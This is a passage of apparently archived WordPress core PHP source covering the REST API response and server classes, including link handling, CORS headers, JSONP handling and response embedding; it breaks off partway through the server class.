		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$links               = array(
				'self' => array(
					'href' => rest_url( sprintf( '%s/%s/themes/%s', $this->namespace, $this->rest_base, $request['stylesheet'] ) ),
				),
			);
			$resolved_theme_uris = WP_Theme_JSON_Resolver::get_resolved_theme_uris( $theme );
			if ( ! empty( $resolved_theme_uris ) ) {
				$links['https://api.w.org/theme-file'] = $resolved_theme_uris;
			}
			$response->add_links( $links );
		}

		return $response;
	}

	/**
	 * Checks if a given request has access to read a single theme global styles config.
	 *
	 * @since 6.0.0
	 * @since 6.7.0 Allow users with edit post capabilities to view theme global styles.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_theme_items_permissions_check( $request ) {
		return $this->get_theme_item_permissions_check( $request );
	}

	/**
	 * Returns the given theme global styles variations.
	 *
	 * @since 6.0.0
	 * @since 6.2.0 Returns parent theme variations, if they exist.
	 * @since 6.6.0 Added custom relative theme file URIs to `_links` for each item.
	 *
	 * @param WP_REST_Request $request The request instance.
	 *
	 * @return WP_REST_Response|WP_Error
	 */
	public function get_theme_items( $request ) {
		if ( get_stylesheet() !== $request['stylesheet'] ) {
			// This endpoint only supports the active theme for now.
			return new WP_Error(
				'rest_theme_not_found',
				__( 'Theme not found.' ),
				array( 'status' => 404 )
			);
		}

		$response = array();

		// Register theme-defined variations e.g. from block style variation partials under `/styles`.
		$partials = WP_Theme_JSON_Resolver::get_style_variations( 'block' );
		wp_register_block_style_variations_from_theme_json_partials( $partials );

		$variations = WP_Theme_JSON_Resolver::get_style_variations();
		foreach ( $variations as $variation ) {
			$variation_theme_json = new WP_Theme_JSON( $variation );
			$resolved_theme_uris  = WP_Theme_JSON_Resolver::get_resolved_theme_uris( $variation_theme_json );
			$data                 = rest_ensure_response( $variation );
			if ( ! empty( $resolved_theme_uris ) ) {
				$data->add_links(
					array(
						'https://api.w.org/theme-file' => $resolved_theme_uris,
					)
				);
			}
			$response[] = $this->prepare_response_for_collection( $data );
		}

		return rest_ensure_response( $response );
	}

	/**
	 * Validate style.css as valid CSS.
	 *
	 * Currently just checks for invalid markup.
	 *
	 * @since 6.2.0
	 * @since 6.4.0 Changed method visibility to protected.
	 *
	 * @param string $css CSS to validate.
	 * @return true|WP_Error True if the input was validated, otherwise WP_Error.
	 */
	protected function validate_custom_css( $css ) {
		if ( preg_match( '#</?\w+#', $css ) ) {
			return new WP_Error(
				'rest_custom_css_illegal_markup',
				__( 'Markup is not allowed in CSS.' ),
				array( 'status' => 400 )
			);
		}
		return true;
	}
}
class-wp-rest-response.php000064400000016276151024200430011620 0ustar00<?php
/**
 * REST API: WP_REST_Response class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.4.0
 */

/**
 * Core class used to implement a REST response object.
 *
 * @since 4.4.0
 *
 * @see WP_HTTP_Response
 */
class WP_REST_Response extends WP_HTTP_Response {

	/**
	 * Links related to the response.
	 *
	 * @since 4.4.0
	 * @var array
	 */
	protected $links = array();

	/**
	 * The route that was to create the response.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	protected $matched_route = '';

	/**
	 * The handler that was used to create the response.
	 *
	 * @since 4.4.0
	 * @var null|array
	 */
	protected $matched_handler = null;

	/**
	 * Adds a link to the response.
	 *
	 * @internal The $rel parameter is first, as this looks nicer when sending multiple.
	 *
	 * @since 4.4.0
	 *
	 * @link https://tools.ietf.org/html/rfc5988
	 * @link https://www.iana.org/assignments/link-relations/link-relations.xml
	 *
	 * @param string $rel        Link relation. Either an IANA registered type,
	 *                           or an absolute URL.
	 * @param string $href       Target URI for the link.
	 * @param array  $attributes Optional. Link parameters to send along with the URL. Default empty array.
	 */
	public function add_link( $rel, $href, $attributes = array() ) {
		if ( empty( $this->links[ $rel ] ) ) {
			$this->links[ $rel ] = array();
		}

		if ( isset( $attributes['href'] ) ) {
			// Remove the href attribute, as it's used for the main URL.
			unset( $attributes['href'] );
		}

		$this->links[ $rel ][] = array(
			'href'       => $href,
			'attributes' => $attributes,
		);
	}

	/**
	 * Removes a link from the response.
	 *
	 * @since 4.4.0
	 *
	 * @param string $rel  Link relation. Either an IANA registered type, or an absolute URL.
	 * @param string $href Optional. Only remove links for the relation matching the given href.
	 *                     Default null.
	 */
	public function remove_link( $rel, $href = null ) {
		if ( ! isset( $this->links[ $rel ] ) ) {
			return;
		}

		if ( $href ) {
			$this->links[ $rel ] = wp_list_filter( $this->links[ $rel ], array( 'href' => $href ), 'NOT' );
		} else {
			$this->links[ $rel ] = array();
		}

		if ( ! $this->links[ $rel ] ) {
			unset( $this->links[ $rel ] );
		}
	}

	/**
	 * Adds multiple links to the response.
	 *
	 * Link data should be an associative array with link relation as the key.
	 * The value can either be an associative array of link attributes
	 * (including `href` with the URL for the response), or a list of these
	 * associative arrays.
	 *
	 * @since 4.4.0
	 *
	 * @param array $links Map of link relation to list of links.
	 */
	public function add_links( $links ) {
		foreach ( $links as $rel => $set ) {
			// If it's a single link, wrap with an array for consistent handling.
			if ( isset( $set['href'] ) ) {
				$set = array( $set );
			}

			foreach ( $set as $attributes ) {
				$this->add_link( $rel, $attributes['href'], $attributes );
			}
		}
	}

	/**
	 * Retrieves links for the response.
	 *
	 * @since 4.4.0
	 *
	 * @return array List of links.
	 */
	public function get_links() {
		return $this->links;
	}

	/**
	 * Sets a single link header.
	 *
	 * @internal The $rel parameter is first, as this looks nicer when sending multiple.
	 *
	 * @since 4.4.0
	 *
	 * @link https://tools.ietf.org/html/rfc5988
	 * @link https://www.iana.org/assignments/link-relations/link-relations.xml
	 *
	 * @param string $rel   Link relation. Either an IANA registered type, or an absolute URL.
	 * @param string $link  Target IRI for the link.
	 * @param array  $other Optional. Other parameters to send, as an associative array.
	 *                      Default empty array.
	 */
	public function link_header( $rel, $link, $other = array() ) {
		$header = '<' . $link . '>; rel="' . $rel . '"';

		foreach ( $other as $key => $value ) {
			if ( 'title' === $key ) {
				$value = '"' . $value . '"';
			}

			$header .= '; ' . $key . '=' . $value;
		}
		$this->header( 'Link', $header, false );
	}

	/**
	 * Retrieves the route that was used.
	 *
	 * @since 4.4.0
	 *
	 * @return string The matched route.
	 */
	public function get_matched_route() {
		return $this->matched_route;
	}

	/**
	 * Sets the route (regex for path) that caused the response.
	 *
	 * @since 4.4.0
	 *
	 * @param string $route Route name.
	 */
	public function set_matched_route( $route ) {
		$this->matched_route = $route;
	}

	/**
	 * Retrieves the handler that was used to generate the response.
	 *
	 * @since 4.4.0
	 *
	 * @return null|array The handler that was used to create the response.
	 */
	public function get_matched_handler() {
		return $this->matched_handler;
	}

	/**
	 * Sets the handler that was responsible for generating the response.
	 *
	 * @since 4.4.0
	 *
	 * @param array $handler The matched handler.
	 */
	public function set_matched_handler( $handler ) {
		$this->matched_handler = $handler;
	}

	/**
	 * Checks if the response is an error, i.e. >= 400 response code.
	 *
	 * @since 4.4.0
	 *
	 * @return bool Whether the response is an error.
	 */
	public function is_error() {
		return $this->get_status() >= 400;
	}

	/**
	 * Retrieves a WP_Error object from the response.
	 *
	 * @since 4.4.0
	 *
	 * @return WP_Error|null WP_Error or null on not an errored response.
	 */
	public function as_error() {
		if ( ! $this->is_error() ) {
			return null;
		}

		$error = new WP_Error();

		if ( is_array( $this->get_data() ) ) {
			$data = $this->get_data();
			$error->add( $data['code'], $data['message'], $data['data'] );

			if ( ! empty( $data['additional_errors'] ) ) {
				foreach ( $data['additional_errors'] as $err ) {
					$error->add( $err['code'], $err['message'], $err['data'] );
				}
			}
		} else {
			$error->add( $this->get_status(), '', array( 'status' => $this->get_status() ) );
		}

		return $error;
	}

	/**
	 * Retrieves the CURIEs (compact URIs) used for relations.
	 *
	 * @since 4.5.0
	 *
	 * @return array Compact URIs.
	 */
	public function get_curies() {
		$curies = array(
			array(
				'name'      => 'wp',
				'href'      => 'https://api.w.org/{rel}',
				'templated' => true,
			),
		);

		/**
		 * Filters extra CURIEs available on REST API responses.
		 *
		 * CURIEs allow a shortened version of URI relations. This allows a more
		 * usable form for custom relations than using the full URI. These work
		 * similarly to how XML namespaces work.
		 *
		 * Registered CURIES need to specify a name and URI template. This will
		 * automatically transform URI relations into their shortened version.
		 * The shortened relation follows the format `{name}:{rel}`. `{rel}` in
		 * the URI template will be replaced with the `{rel}` part of the
		 * shortened relation.
		 *
		 * For example, a CURIE with name `example` and URI template
		 * `http://w.org/{rel}` would transform a `http://w.org/term` relation
		 * into `example:term`.
		 *
		 * Well-behaved clients should expand and normalize these back to their
		 * full URI relation, however some naive clients may not resolve these
		 * correctly, so adding new CURIEs may break backward compatibility.
		 *
		 * @since 4.5.0
		 *
		 * @param array $additional Additional CURIEs to register with the REST API.
		 */
		$additional = apply_filters( 'rest_response_link_curies', array() );

		return array_merge( $curies, $additional );
	}
}
class-wp-rest-server.php000064400000160527151024200430011267 0ustar00<?php
/**
 * REST API: WP_REST_Server class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.4.0
 */

/**
 * Core class used to implement the WordPress REST API server.
 *
 * @since 4.4.0
 */
#[AllowDynamicProperties]
class WP_REST_Server {

	/**
	 * Alias for GET transport method.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	const READABLE = 'GET';

	/**
	 * Alias for POST transport method.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	const CREATABLE = 'POST';

	/**
	 * Alias for POST, PUT, PATCH transport methods together.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	const EDITABLE = 'POST, PUT, PATCH';

	/**
	 * Alias for DELETE transport method.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	const DELETABLE = 'DELETE';

	/**
	 * Alias for GET, POST, PUT, PATCH & DELETE transport methods together.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	const ALLMETHODS = 'GET, POST, PUT, PATCH, DELETE';

	/**
	 * Namespaces registered to the server.
	 *
	 * @since 4.4.0
	 * @var array
	 */
	protected $namespaces = array();

	/**
	 * Endpoints registered to the server.
	 *
	 * @since 4.4.0
	 * @var array
	 */
	protected $endpoints = array();

	/**
	 * Options defined for the routes.
	 *
	 * @since 4.4.0
	 * @var array
	 */
	protected $route_options = array();

	/**
	 * Caches embedded requests.
	 *
	 * @since 5.4.0
	 * @var array
	 */
	protected $embed_cache = array();

	/**
	 * Stores request objects that are currently being handled.
	 *
	 * @since 6.5.0
	 * @var array
	 */
	protected $dispatching_requests = array();

	/**
	 * Instantiates the REST server.
	 *
	 * @since 4.4.0
	 */
	public function __construct() {
		$this->endpoints = array(
			// Meta endpoints.
			'/'         => array(
				'callback' => array( $this, 'get_index' ),
				'methods'  => 'GET',
				'args'     => array(
					'context' => array(
						'default' => 'view',
					),
				),
			),
			'/batch/v1' => array(
				'callback' => array( $this, 'serve_batch_request_v1' ),
				'methods'  => 'POST',
				'args'     => array(
					'validation' => array(
						'type'    => 'string',
						'enum'    => array( 'require-all-validate', 'normal' ),
						'default' => 'normal',
					),
					'requests'   => array(
						'required' => true,
						'type'     => 'array',
						'maxItems' => $this->get_max_batch_size(),
						'items'    => array(
							'type'       => 'object',
							'properties' => array(
								'method'  => array(
									'type'    => 'string',
									'enum'    => array( 'POST', 'PUT', 'PATCH', 'DELETE' ),
									'default' => 'POST',
								),
								'path'    => array(
									'type'     => 'string',
									'required' => true,
								),
								'body'    => array(
									'type'                 => 'object',
									'properties'           => array(),
									'additionalProperties' => true,
								),
								'headers' => array(
									'type'                 => 'object',
									'properties'           => array(),
									'additionalProperties' => array(
										'type'  => array( 'string', 'array' ),
										'items' => array(
											'type' => 'string',
										),
									),
								),
							),
						),
					),
				),
			),
		);
	}


	/**
	 * Checks the authentication headers if supplied.
	 *
	 * @since 4.4.0
	 *
	 * @return WP_Error|null|true WP_Error indicates unsuccessful login, null indicates successful
	 *                            or no authentication provided
	 */
	public function check_authentication() {
		/**
		 * Filters REST API authentication errors.
		 *
		 * This is used to pass a WP_Error from an authentication method back to
		 * the API.
		 *
		 * Authentication methods should check first if they're being used, as
		 * multiple authentication methods can be enabled on a site (cookies,
		 * HTTP basic auth, OAuth). If the authentication method hooked in is
		 * not actually being attempted, null should be returned to indicate
		 * another authentication method should check instead. Similarly,
		 * callbacks should ensure the value is `null` before checking for
		 * errors.
		 *
		 * A WP_Error instance can be returned if an error occurs, and this should
		 * match the format used by API methods internally (that is, the `status`
		 * data should be used). A callback can return `true` to indicate that
		 * the authentication method was used, and it succeeded.
		 *
		 * @since 4.4.0
		 *
		 * @param WP_Error|null|true $errors WP_Error if authentication error, null if authentication
		 *                                   method wasn't used, true if authentication succeeded.
		 */
		return apply_filters( 'rest_authentication_errors', null );
	}

	/**
	 * Converts an error to a response object.
	 *
	 * This iterates over all error codes and messages to change it into a flat
	 * array. This enables simpler client behavior, as it is represented as a
	 * list in JSON rather than an object/map.
	 *
	 * @since 4.4.0
	 * @since 5.7.0 Converted to a wrapper of {@see rest_convert_error_to_response()}.
	 *
	 * @param WP_Error $error WP_Error instance.
	 * @return WP_REST_Response List of associative arrays with code and message keys.
	 */
	protected function error_to_response( $error ) {
		return rest_convert_error_to_response( $error );
	}

	/**
	 * Retrieves an appropriate error representation in JSON.
	 *
	 * Note: This should only be used in WP_REST_Server::serve_request(), as it
	 * cannot handle WP_Error internally. All callbacks and other internal methods
	 * should instead return a WP_Error with the data set to an array that includes
	 * a 'status' key, with the value being the HTTP status to send.
	 *
	 * @since 4.4.0
	 *
	 * @param string $code    WP_Error-style code.
	 * @param string $message Human-readable message.
	 * @param int    $status  Optional. HTTP status code to send. Default null.
	 * @return string JSON representation of the error
	 */
	protected function json_error( $code, $message, $status = null ) {
		if ( $status ) {
			$this->set_status( $status );
		}

		$error = compact( 'code', 'message' );

		return wp_json_encode( $error );
	}

	/**
	 * Gets the encoding options passed to {@see wp_json_encode}.
	 *
	 * @since 6.1.0
	 *
	 * @param \WP_REST_Request $request The current request object.
	 *
	 * @return int The JSON encode options.
	 */
	protected function get_json_encode_options( WP_REST_Request $request ) {
		$options = 0;

		if ( $request->has_param( '_pretty' ) ) {
			$options |= JSON_PRETTY_PRINT;
		}

		/**
		 * Filters the JSON encoding options used to send the REST API response.
		 *
		 * @since 6.1.0
		 *
		 * @param int $options             JSON encoding options {@see json_encode()}.
		 * @param WP_REST_Request $request Current request object.
		 */
		return apply_filters( 'rest_json_encode_options', $options, $request );
	}

	/**
	 * Handles serving a REST API request.
	 *
	 * Matches the current server URI to a route and runs the first matching
	 * callback then outputs a JSON representation of the returned value.
	 *
	 * @since 4.4.0
	 *
	 * @see WP_REST_Server::dispatch()
	 *
	 * @global WP_User $current_user The currently authenticated user.
	 *
	 * @param string $path Optional. The request route. If not set, `$_SERVER['PATH_INFO']` will be used.
	 *                     Default null.
	 * @return null|false Null if not served and a HEAD request, false otherwise.
	 */
	public function serve_request( $path = null ) {
		/* @var WP_User|null $current_user */
		global $current_user;

		if ( $current_user instanceof WP_User && ! $current_user->exists() ) {
			/*
			 * If there is no current user authenticated via other means, clear
			 * the cached lack of user, so that an authenticate check can set it
			 * properly.
			 *
			 * This is done because for authentications such as Application
			 * Passwords, we don't want it to be accepted unless the current HTTP
			 * request is a REST API request, which can't always be identified early
			 * enough in evaluation.
			 */
			$current_user = null;
		}

		/**
		 * Filters whether JSONP is enabled for the REST API.
		 *
		 * @since 4.4.0
		 *
		 * @param bool $jsonp_enabled Whether JSONP is enabled. Default true.
		 */
		$jsonp_enabled = apply_filters( 'rest_jsonp_enabled', true );

		$jsonp_callback = false;
		if ( isset( $_GET['_jsonp'] ) ) {
			$jsonp_callback = $_GET['_jsonp'];
		}

		$content_type = ( $jsonp_callback && $jsonp_enabled ) ? 'application/javascript' : 'application/json';
		$this->send_header( 'Content-Type', $content_type . '; charset=' . get_option( 'blog_charset' ) );
		$this->send_header( 'X-Robots-Tag', 'noindex' );

		$api_root = get_rest_url();
		if ( ! empty( $api_root ) ) {
			$this->send_header( 'Link', '<' . sanitize_url( $api_root ) . '>; rel="https://api.w.org/"' );
		}

		/*
		 * Mitigate possible JSONP Flash attacks.
		 *
		 * https://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/
		 */
		$this->send_header( 'X-Content-Type-Options', 'nosniff' );

		/**
		 * Filters whether the REST API is enabled.
		 *
		 * @since 4.4.0
		 * @deprecated 4.7.0 Use the {@see 'rest_authentication_errors'} filter to
		 *                   restrict access to the REST API.
		 *
		 * @param bool $rest_enabled Whether the REST API is enabled. Default true.
		 */
		apply_filters_deprecated(
			'rest_enabled',
			array( true ),
			'4.7.0',
			'rest_authentication_errors',
			sprintf(
				/* translators: %s: rest_authentication_errors */
				__( 'The REST API can no longer be completely disabled, the %s filter can be used to restrict access to the API, instead.' ),
				'rest_authentication_errors'
			)
		);

		if ( $jsonp_callback ) {
			if ( ! $jsonp_enabled ) {
				echo $this->json_error( 'rest_callback_disabled', __( 'JSONP support is disabled on this site.' ), 400 );
				return false;
			}

			if ( ! wp_check_jsonp_callback( $jsonp_callback ) ) {
				echo $this->json_error( 'rest_callback_invalid', __( 'Invalid JSONP callback function.' ), 400 );
				return false;
			}
		}

		if ( empty( $path ) ) {
			if ( isset( $_SERVER['PATH_INFO'] ) ) {
				$path = $_SERVER['PATH_INFO'];
			} else {
				$path = '/';
			}
		}

		$request = new WP_REST_Request( $_SERVER['REQUEST_METHOD'], $path );

		$request->set_query_params( wp_unslash( $_GET ) );
		$request->set_body_params( wp_unslash( $_POST ) );
		$request->set_file_params( $_FILES );
		$request->set_headers( $this->get_headers( wp_unslash( $_SERVER ) ) );
		$request->set_body( self::get_raw_data() );

		/*
		 * HTTP method override for clients that can't use PUT/PATCH/DELETE. First, we check
		 * $_GET['_method']. If that is not set, we check for the HTTP_X_HTTP_METHOD_OVERRIDE
		 * header.
		 */
		$method_overridden = false;
		if ( isset( $_GET['_method'] ) ) {
			$request->set_method( $_GET['_method'] );
		} elseif ( isset( $_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'] ) ) {
			$request->set_method( $_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'] );
			$method_overridden = true;
		}

		$expose_headers = array( 'X-WP-Total', 'X-WP-TotalPages', 'Link' );

		/**
		 * Filters the list of response headers that are exposed to REST API CORS requests.
		 *
		 * @since 5.5.0
		 * @since 6.3.0 The `$request` parameter was added.
		 *
		 * @param string[]        $expose_headers The list of response headers to expose.
		 * @param WP_REST_Request $request        The request in context.
		 */
		$expose_headers = apply_filters( 'rest_exposed_cors_headers', $expose_headers, $request );

		$this->send_header( 'Access-Control-Expose-Headers', implode( ', ', $expose_headers ) );

		$allow_headers = array(
			'Authorization',
			'X-WP-Nonce',
			'Content-Disposition',
			'Content-MD5',
			'Content-Type',
		);

		/**
		 * Filters the list of request headers that are allowed for REST API CORS requests.
		 *
		 * The allowed headers are passed to the browser to specify which
		 * headers can be passed to the REST API. By default, we allow the
		 * Content-* headers needed to upload files to the media endpoints.
		 * As well as the Authorization and Nonce headers for allowing authentication.
		 *
		 * @since 5.5.0
		 * @since 6.3.0 The `$request` parameter was added.
		 *
		 * @param string[]        $allow_headers The list of request headers to allow.
		 * @param WP_REST_Request $request       The request in context.
		 */
		$allow_headers = apply_filters( 'rest_allowed_cors_headers', $allow_headers, $request );

		$this->send_header( 'Access-Control-Allow-Headers', implode( ', ', $allow_headers ) );

		$result = $this->check_authentication();

		if ( ! is_wp_error( $result ) ) {
			$result = $this->dispatch( $request );
		}

		// Normalize to either WP_Error or WP_REST_Response...
		$result = rest_ensure_response( $result );

		// ...then convert WP_Error across.
		if ( is_wp_error( $result ) ) {
			$result = $this->error_to_response( $result );
		}

		/**
		 * Filters the REST API response.
		 *
		 * Allows modification of the response before returning.
		 *
		 * @since 4.4.0
		 * @since 4.5.0 Applied to embedded responses.
		 *
		 * @param WP_HTTP_Response $result  Result to send to the client. Usually a `WP_REST_Response`.
		 * @param WP_REST_Server   $server  Server instance.
		 * @param WP_REST_Request  $request Request used to generate the response.
		 */
		$result = apply_filters( 'rest_post_dispatch', rest_ensure_response( $result ), $this, $request );

		// Wrap the response in an envelope if asked for.
		if ( isset( $_GET['_envelope'] ) ) {
			$embed  = isset( $_GET['_embed'] ) ? rest_parse_embed_param( $_GET['_embed'] ) : false;
			$result = $this->envelope_response( $result, $embed );
		}

		// Send extra data from response objects.
		$headers = $result->get_headers();
		$this->send_headers( $headers );

		$code = $result->get_status();
		$this->set_status( $code );

		/**
		 * Filters whether to send no-cache headers on a REST API request.
		 *
		 * @since 4.4.0
		 * @since 6.3.2 Moved the block to catch the filter added on rest_cookie_check_errors() from wp-includes/rest-api.php.
		 *
		 * @param bool $rest_send_nocache_headers Whether to send no-cache headers.
		 */
		$send_no_cache_headers = apply_filters( 'rest_send_nocache_headers', is_user_logged_in() );

		/*
		 * Send no-cache headers if $send_no_cache_headers is true,
		 * OR if the HTTP_X_HTTP_METHOD_OVERRIDE is used but resulted a 4xx response code.
		 */
		if ( $send_no_cache_headers || ( true === $method_overridden && str_starts_with( $code, '4' ) ) ) {
			foreach ( wp_get_nocache_headers() as $header => $header_value ) {
				if ( empty( $header_value ) ) {
					$this->remove_header( $header );
				} else {
					$this->send_header( $header, $header_value );
				}
			}
		}

		/**
		 * Filters whether the REST API request has already been served.
		 *
		 * Allow sending the request manually - by returning true, the API result
		 * will not be sent to the client.
		 *
		 * @since 4.4.0
		 *
		 * @param bool             $served  Whether the request has already been served.
		 *                                           Default false.
		 * @param WP_HTTP_Response $result  Result to send to the client. Usually a `WP_REST_Response`.
		 * @param WP_REST_Request  $request Request used to generate the response.
		 * @param WP_REST_Server   $server  Server instance.
		 */
		$served = apply_filters( 'rest_pre_serve_request', false, $result, $request, $this );

		if ( ! $served ) {
			if ( 'HEAD' === $request->get_method() ) {
				return null;
			}

			// Embed links inside the request.
			$embed  = isset( $_GET['_embed'] ) ? rest_parse_embed_param( $_GET['_embed'] ) : false;
			$result = $this->response_to_data( $result, $embed );

			/**
			 * Filters the REST API response.
			 *
			 * Allows modification of the response data after inserting
			 * embedded data (if any) and before echoing the response data.
			 *
			 * @since 4.8.1
			 *
			 * @param array            $result  Response data to send to the client.
			 * @param WP_REST_Server   $server  Server instance.
			 * @param WP_REST_Request  $request Request used to generate the response.
			 */
			$result = apply_filters( 'rest_pre_echo_response', $result, $this, $request );

			// The 204 response shouldn't have a body.
			if ( 204 === $code || null === $result ) {
				return null;
			}

			$result = wp_json_encode( $result, $this->get_json_encode_options( $request ) );

			$json_error_message = $this->get_json_last_error();

			if ( $json_error_message ) {
				$this->set_status( 500 );
				$json_error_obj = new WP_Error(
					'rest_encode_error',
					$json_error_message,
					array( 'status' => 500 )
				);

				$result = $this->error_to_response( $json_error_obj );
				$result = wp_json_encode( $result->data, $this->get_json_encode_options( $request ) );
			}

			if ( $jsonp_callback ) {
				// Prepend '/**/' to mitigate possible JSONP Flash attacks.
				// https://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/
				echo '/**/' . $jsonp_callback . '(' . $result . ')';
			} else {
				echo $result;
			}
		}

		return null;
	}

	/**
	 * Converts a response to data to send.
	 *
	 * @since 4.4.0
	 * @since 5.4.0 The `$embed` parameter can now contain a list of link relations to include.
	 *
	 * @param WP_REST_Response $response Response object.
	 * @param bool|string[]    $embed    Whether to embed all links, a filtered list of link relations, or no links.
	 * @return array {
	 *     Data with sub-requests embedded.
	 *
	 *     @type array $_links    Links.
	 *     @type array $_embedded Embedded objects.
	 * }
	 */
	public function response_to_data( $response, $embed ) {
		$data  = $response->get_data();
		$links = self::get_compact_response_links( $response );

		if ( ! empty( $links ) ) {
			// Convert links to part of the data.
			$data['_links'] = $links;
		}

		if ( $embed ) {
			$this->embed_cache = array();
			// Determine if this is a numeric array.
			if ( wp_is_numeric_array( $data ) ) {
				foreach ( $data as $key => $item ) {
					$data[ $key ] = $this->embed_links( $item, $embed );
				}
			} else {
				$data = $this->embed_links( $data, $embed );
			}
			$this->embed_cache = array();
		}

		return $data;
	}

	/**
	 * Retrieves links from a response.
	 *
	 * Extracts the links from a response into a structured hash, suitable for
	 * direct output.
	 *
	 * @since 4.4.0
	 *
	 * @param WP_REST_Response $response Response to extract links from.
	 * @return array Map of link relation to list of link hashes.
	 */
	public static function get_response_links( $response ) {
		$links = $response->get_links();

		if ( empty( $links ) ) {
			return array();
		}

		// Convert links to part of the data.
		$data = array();
		foreach ( $links as $rel => $items ) {
			$data[ $rel ] = array();

			foreach ( $items as $item ) {
				$attributes         = $item['attributes'];
				$attributes['href'] = $item['href'];

				if ( 'self' !== $rel ) {
					$data[ $rel ][] = $attributes;
					continue;
				}

				$target_hints = self::get_target_hints_for_link( $attributes );
				if ( $target_hints ) {
					$attributes['targetHints'] = $target_hints;
				}

				$data[ $rel ][] = $attributes;
			}
		}

		return $data;
	}

	/**
	 * Gets the target links for a REST API Link.
	 *
	 * @since 6.7.0
	 *
	 * @param array $link
	 *
	 * @return array|null
	 */
	protected static function get_target_hints_for_link( $link ) {
		// Prefer targetHints that were specifically designated by the developer.
		if ( isset( $link['targetHints']['allow'] ) ) {
			return null;
		}

		$request = WP_REST_Request::from_url( $link['href'] );
		if ( ! $request ) {
			return null;
		}

		$server = rest_get_server();
		$match  = $server->match_request_to_handler( $request );

		if ( is_wp_error( $match ) ) {
			return null;
		}

		if ( is_wp_error( $request->has_valid_params() ) ) {
			return null;
		}

		if ( is_wp_error( $request->sanitize_params() ) ) {
			return null;
		}

		$target_hints = array();

		$response = new WP_REST_Response();
		$response->set_matched_route( $match[0] );
		$response->set_matched_handler( $match[1] );
		$headers = rest_send_allow_header( $response, $server, $request )->get_headers();

		foreach ( $headers as $name => $value ) {
			$name = WP_REST_Request::canonicalize_header_name( $name );

			$target_hints[ $name ] = array_map( 'trim', explode( ',', $value ) );
		}

		return $target_hints;
	}

	/**
	 * Retrieves the CURIEs (compact URIs) used for relations.
	 *
	 * Extracts the links from a response into a structured hash, suitable for
	 * direct output.
	 *
	 * @since 4.5.0
	 *
	 * @param WP_REST_Response $response Response to extract links from.
	 * @return array Map of link relation to list of link hashes.
	 */
	public static function get_compact_response_links( $response ) {
		$links = self::get_response_links( $response );

		if ( empty( $links ) ) {
			return array();
		}

		$curies      = $response->get_curies();
		$used_curies = array();

		foreach ( $links as $rel => $items ) {

			// Convert $rel URIs to their compact versions if they exist.
			foreach ( $curies as $curie ) {
				$href_prefix = substr( $curie['href'], 0, strpos( $curie['href'], '{rel}' ) );
				if ( ! str_starts_with( $rel, $href_prefix ) ) {
					continue;
				}

				// Relation now changes from '$uri' to '$curie:$relation'.
				$rel_regex = str_replace( '\{rel\}', '(.+)', preg_quote( $curie['href'], '!' ) );
				preg_match( '!' . $rel_regex . '!', $rel, $matches );
				if ( $matches ) {
					$new_rel                       = $curie['name'] . ':' . $matches[1];
					$used_curies[ $curie['name'] ] = $curie;
					$links[ $new_rel ]             = $items;
					unset( $links[ $rel ] );
					break;
				}
			}
		}

		// Push the curies onto the start of the links array.
		if ( $used_curies ) {
			$links['curies'] = array_values( $used_curies );
		}

		return $links;
	}

	/**
	 * Embeds the links from the data into the request.
	 *
	 * @since 4.4.0
	 * @since 5.4.0 The `$embed` parameter can now contain a list of link relations to include.
	 *
	 * @param array         $data  Data from the request.
	 * @param bool|string[] $embed Whether to embed all links or a filtered list of link relations.
	 * @return array {
	 *     Data with sub-requests embedded.
	 *
	 *     @type array $_links    Links.
	 *     @type array $_embedded Embedded objects.
	 * }
	 */
	protected function embed_links( $data, $embed = true ) {
		if ( empty( $data['_links'] ) ) {
			return $data;
		}

		$embedded = array();

		foreach ( $data['_links'] as $rel => $links ) {
			/*
			 * If a list of relations was specified, and the link relation
			 * is not in the list of allowed relations, don't process the link.
			 */
			if ( is_array( $embed ) && ! in_array( $rel, $embed, true ) ) {
				continue;
			}

			$embeds = array();

			foreach ( $links as $item ) {
				// Determine if the link is embeddable.
				if ( empty( $item['embeddable'] ) ) {
					// Ensure we keep the same order.
					$embeds[] = array();
					continue;
				}

				if ( ! array_key_exists( $item['href'], $this->embed_cache ) ) {
					// Run through our internal routing and serve.
					$request = WP_REST_Request::from_url( $item['href'] );
					if ( ! $request ) {
						$embeds[] = array();
						continue;
					}

					// Embedded resources get passed context=embed.
					if ( empty( $request['context'] ) ) {
						$request['context'] = 'embed';
					}

					if ( empty( $request['per_page'] ) ) {
						$matched = $this->match_request_to_handler( $request );
						if ( ! is_wp_error( $matched ) && isset( $matched[1]['args']['per_page']['maximum'] ) ) {
							$request['per_page'] = (int) $matched[1]['args']['per_page']['maximum'];
						}
					}

					$response = $this->dispatch( $request );

					/** This filter is documented in wp-includes/rest-api/class-wp-rest-server.php */
					$response = apply_filters( 'rest_post_dispatch', rest_ensure_response( $response ), $this, $request );

					$this->embed_cache[ $item['href'] ] = $this->response_to_data( $response, false );
				}

				$embeds[] = $this->embed_cache[ $item['href'] ];
			}

			// Determine if any real links were found.
			$has_links = count( array_filter( $embeds ) );

			if ( $has_links ) {
				$embedded[ $rel ] = $embeds;
			}
		}

		if ( ! empty( $embedded ) ) {
			$data['_embedded'] = $embedded;
		}

		return $data;
	}

	/**
	 * Wraps the response in an envelope.
	 *
	 * The enveloping technique is used to work around browser/client
	 * compatibility issues. Essentially, it converts the full HTTP response to
	 * data instead.
	 *
	 * @since 4.4.0
	 * @since 6.0.0 The `$embed` parameter can now contain a list of link relations to include.
	 *
	 * @param WP_REST_Response $response Response object.
	 * @param bool|string[]    $embed    Whether to embed all links, a filtered list of link relations, or no links.
	 * @return WP_REST_Response New response with wrapped data
	 */
	public function envelope_response( $response, $embed ) {
		$envelope = array(
